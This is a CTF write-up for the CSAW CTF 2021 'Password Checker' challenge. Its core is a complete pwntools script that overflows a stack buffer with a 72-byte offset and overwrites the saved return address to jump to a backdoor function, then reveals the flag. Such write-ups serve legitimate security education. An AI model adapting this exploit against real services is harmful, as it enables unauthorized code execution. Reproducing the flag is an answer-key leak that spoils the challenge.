Skip to content

CSAW CTF 2021: Password Checker

TL;DR

  • Trigger a classic stack-based buffer overflow.
  • Overwrite the saved return address to redirect execution to backdoor.
  • Pop the flag via the backdoor code path.

Video Walkthrough

CSAW CTF 2021 Password Checker pwn video walkthrough showing stack buffer overflow and return address overwrite to reach the backdoor function

Challenge Description

Charlie forgot his password to login into his Office portal. Help him to find it.

Solution

from pwn import *

# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)

# Specify GDB script here (breakpoints etc)
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())

# Binary filename
exe = './password_checker'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (warning/info/debug)
context.log_level = 'debug'

# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================

# Pass in pattern_size, get back EIP/RIP offset
offset = 72

# Start program
io = start()

# Build the payload
payload = flat([
    offset * "A",
    elf.symbols.backdoor
])

# Save the payload to file
write('payload', payload)

# Send the payload
io.sendlineafter('>', payload)

# Got Shell?
io.interactive()

Flag: flag{ch4r1i3_4ppr3ci4t35_y0u_f0r_y0ur_h31p}